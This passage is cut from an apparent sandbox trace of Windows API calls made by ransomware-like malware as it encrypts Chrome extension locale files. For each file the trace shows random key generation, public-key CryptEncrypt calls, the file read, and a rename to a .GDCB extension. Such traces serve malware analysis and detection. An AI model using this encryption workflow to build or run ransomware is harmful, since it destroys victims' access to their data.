settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0268.329] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.334] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.334] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.336] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.338] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.338] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.338] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.338] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.341] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67977e0) returned 1 [0268.341] CryptGetKeyParam (in: hKey=0x67977e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.341] CryptEncrypt (in: hKey=0x67977e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.341] GetLastError () returned 0x0 [0268.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.341] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.343] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797860) returned 1 [0268.343] CryptGetKeyParam (in: hKey=0x6797860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.343] CryptEncrypt (in: hKey=0x6797860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.343] GetLastError () returned 0x0 [0268.343] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.343] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.345] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.347] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.349] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc6, lpOverlapped=0x0) returned 1 [0268.359] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.365] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0268.370] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.375] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.375] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.375] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.375] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.380] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.380] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.380] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.382] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67978a0) returned 1 [0268.382] CryptGetKeyParam (in: hKey=0x67978a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.382] CryptEncrypt (in: hKey=0x67978a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.382] GetLastError () returned 0x0 [0268.382] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.382] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.384] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797620) returned 1 [0268.384] CryptGetKeyParam (in: hKey=0x6797620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.384] CryptEncrypt (in: hKey=0x6797620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.384] GetLastError () returned 0x0 [0268.384] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.384] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.386] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.388] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.390] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xaf, lpOverlapped=0x0) returned 1 [0268.399] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.420] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0268.427] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.432] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.432] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.432] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0268.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.436] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.436] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.436] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.437] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.439] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797420) returned 1 [0268.439] CryptGetKeyParam (in: hKey=0x6797420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.439] CryptEncrypt (in: hKey=0x6797420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.439] GetLastError () returned 0x0 [0268.439] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.439] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.441] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797320) returned 1 [0268.441] CryptGetKeyParam (in: hKey=0x6797320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.441] CryptEncrypt (in: hKey=0x6797320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.441] GetLastError () returned 0x0 [0268.441] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.441] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.442] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.445] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.447] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x119, lpOverlapped=0x0) returned 1 [0268.455] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.487] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0268.492] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.497] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.497] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.497] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.502] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.502] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.502] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.504] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797360) returned 1 [0268.504] CryptGetKeyParam (in: hKey=0x6797360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.504] CryptEncrypt (in: hKey=0x6797360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.504] GetLastError () returned 0x0 [0268.504] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.504] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.506] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797760) returned 1 [0268.506] CryptGetKeyParam (in: hKey=0x6797760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.506] CryptEncrypt (in: hKey=0x6797760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.506] GetLastError () returned 0x0 [0268.506] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.506] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.507] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.510] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.512] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x14e, lpOverlapped=0x0) returned 1 [0268.521] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.526] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.gdcb")) returned 1 [0268.532] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.536] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.536] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.536] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.541] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.541] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.543] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67977a0) returned 1 [0268.543] CryptGetKeyParam (in: hKey=0x67977a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.543] CryptEncrypt (in: hKey=0x67977a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.543] GetLastError () returned 0x0 [0268.543] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.543] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.545] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797220) returned 1 [0268.545] CryptGetKeyParam (in: hKey=0x6797220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.545] CryptEncrypt (in: hKey=0x6797220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.546] GetLastError () returned 0x0 [0268.546] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.546] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.547] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.549] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.551] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc5, lpOverlapped=0x0) returned 1 [0268.561] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.567] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application 